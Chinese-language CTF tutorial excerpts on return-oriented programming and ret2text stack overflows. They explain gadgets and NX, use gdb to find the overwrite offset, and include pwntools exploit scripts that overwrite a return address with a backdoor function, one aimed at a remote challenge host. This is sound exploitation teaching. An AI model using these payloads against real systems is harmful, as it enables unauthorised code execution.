初识ROP和ret2shellcode
如果遇到NX保护,即栈堆不可执行的情况,我们shellcode将不能作为机器码被执行,那么我们就需要新的方法————ROP技术。 何为ROP?ROP的全称为返回导向编程。听名字十分牛的样子。ROP的核心在返回,即ret上。ret等价于pop EIP/RIP,call所调用的函数结束后,ret会把返回地址弹出栈,程序会跳到ret指向的地址。 出自《深入理解计算机系统(CSAPP)》第三章,要注意的一个问题是,国内外的计算机教材对于栈的画法是相反的,国外的教材更倾向于把栈倒过来画,即栈顶sp在下,栈底bp在上,栈向下增长(向下画)。不过并不影响实际的理解。 接下来我们需要知道什么是gadget。gadget在英语里的翻译是小玩意,小装置的意思,在二进制领域,gadget就是一小段程序里已经有的,通常以ret结尾的汇编代码,注意这里的关键词,“一小段”,“已有的”,“以ret结尾的”,重点是后两个词,这就意味着我们可以通过一段又一段的gadget不断ret到程序内的不同地方。就算开了NX不让我们执行shellcode,但是程序里已经有的指令总不能不让我们执行吧,这就是gad...
用gdb的动态视角看ret2text的实现
来看一道非常简单的栈溢出 后门函数地址ida里很明显,0x8048521 exp本身不难写,下面看一下怎么用gdb确定偏移 1234567from pwn import*io=process("./pwn")#io=remote("pwn.challenge.ctf.show",28175);gdb.attach(io,"b main") #在main函数下断点payload=b"A"*(0x12+0x4)+p32(0x8048521)io.sendline(payload)io.interactive() 0xffffcfd8 是当前函数的栈底,指向的0xffffcfe8是上一个函数的栈底(old_ebp) 用0xffffcfd8减去0xffffcfc6得到0x12,这也就对上了ida里的偏移量 我们退出,输入fini直接运行完,可以看出已经覆盖了0x12+0x4个字节,并且我们的后门函数地址已经成功覆盖到了ebp下的返回地址
ret2text小tips
exp模板 12345678910from pwn import *io = remote("39.106.48.123", 29826)payload = b"A"*264 + p64(0x401202)io.sendline(payload)io.interactive() 264即258+8,258是rbp的位置,ida里一般是16位,0x401202为后门函数入栈的地址 注意:1.一定不要忘记加4/8个字节覆盖栈底寄存器 2.在64位程序中,如果不成功,可能是栈没有对齐,需要把后门函数的地址往后加两个单位








